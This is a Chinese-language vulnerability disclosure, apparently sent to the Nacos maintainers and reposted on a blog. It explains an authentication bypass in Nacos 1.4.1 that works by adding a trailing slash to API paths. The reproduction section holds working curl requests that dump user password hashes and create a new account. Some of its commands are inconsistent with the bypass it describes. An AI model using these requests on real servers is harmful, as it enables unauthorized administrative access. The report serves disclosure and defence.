你好,我發現nacos最新版本1.4.1對于User-Agent繞過安全漏洞的serverIdentity key-value修復機制,依然存在繞過問題,在nacos開啟了serverIdentity的自定義key-value鑒權后,通過特殊的url構造,依然能繞過限制訪問任何http介面,
通過查看該功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server繞過鑒權的安全問題,
但在開啟該機制后,我從代碼中發現,任然可以在某種情況下繞過,使之失效,呼叫任何介面,通過該漏洞,我可以繞過鑒權,做到:
呼叫添加用戶介面,添加新用戶(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用戶登錄console,訪問、修改、添加資料,
一、漏洞詳情
問題主要出現在com.alibaba.nacos.core.auth.AuthFilter#doFilter:
public class AuthFilter implements Filter {
@Autowired
private AuthConfigs authConfigs;
@Autowired
private AuthManager authManager;
@Autowired
private ControllerMethodsCache methodsCache;
private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鑒權代碼
}
...
}
...
}
可以看到,上面三個if else分支:
-
第一個是
authConfigs.isEnableUserAgentAuthWhite(),它默認值為true,當值為true時,會判斷請求頭User-Agent是否匹配User-Agent: Nacos-Server,若匹配,則跳過后續所有邏輯,執行chain.doFilter(request, response); -
第二個是
StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本對于User-Agent: Nacos-Server安全問題的簡單修復 -
第三個是,當前面兩個條件都不符合時,對請求直接作出拒絕訪問的回應
問題出現在第二個分支,可以看到,當nacos的開發者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,開啟該key-value簡單鑒權機制后,會根據開發者配置的nacos.core.auth.server.identity.key去http header中獲取一個value,去跟開發者配置的nacos.core.auth.server.identity.value進行匹配,若不匹配,則不進入分支執行:
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
但問題恰恰就出在這里,這里的邏輯理應是在不匹配時,直接回傳拒絕訪問,而實際上并沒有這樣做,這就讓我們后續去繞過提供了條件,
再往下看,代碼來到:
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鑒權代碼
可以看到,這里有一個判斷method == null,只要滿足這個條件,就不會走到后續的鑒權代碼,
通過查看methodsCache.getMethod(req)代碼實作,我發現了一個方法,可以使之回傳的method為null
com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}
RequestMappingInfo bestMatch = matchedInfo.get(0);
if (matchedInfo.size() > 1) {
RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
matchedInfo.sort(comparator);
bestMatch = matchedInfo.get(0);
RequestMappingInfo secondBestMatch = matchedInfo.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
throw new IllegalStateException(
"Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
+ secondBestMatch + "}");
}
}
return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}
這個代碼里面,可以很明確的看到,method值的回傳,取決于
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
urlKey這個key,是否能從urlLookup這個ConcurrentHashMap中獲取到映射值
而urlKey的組成中,存在著path這一部分,而這一部分的生成,恰恰存在著問題,它是通過如下方式獲得的:
new URI(request.getRequestURI()).getPath()
一個正常的訪問,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path將會是/nacos/v1/auth/users,而通過特殊構造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path將會是/nacos/v1/auth/users/
通過該方式,將能控制該path多一個末尾的斜桿'/',導致從urlLookup這個ConcurrentHashMap中獲取不到method,為什么呢,因為nacos基本全部的RequestMapping都沒有以斜桿'/'結尾,只有非斜桿'/'結尾的RequestMapping存在并存入了urlLookup這個ConcurrentHashMap,那么,最外層的method == null條件將能滿足,從而,繞過該鑒權機制,
二、漏洞影響范圍
影響范圍:
1.4.1
三、漏洞復現
1.訪問用戶串列介面
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'
可以看到,繞過了鑒權,回傳了用戶串列資料
{
"totalCount": 1,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
}
]
}
2.添加新用戶
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
可以看到,繞過了鑒權,添加了新用戶
{
"code":200,
"message":"create user ok!",
"data":null
}
3.再次查看用戶串列
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
可以看到,回傳的用戶串列資料中,多了一個我們通過繞過鑒權創建的新用戶
{
"totalCount": 2,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
},
{
"username": "test",
"password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
}
]
}
4. 訪問首頁http://127.0.0.1:8848/nacos/,登錄新賬號,可以做任何事情
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/250631.html
標籤:其他
上一篇:反射技術破解單例模式
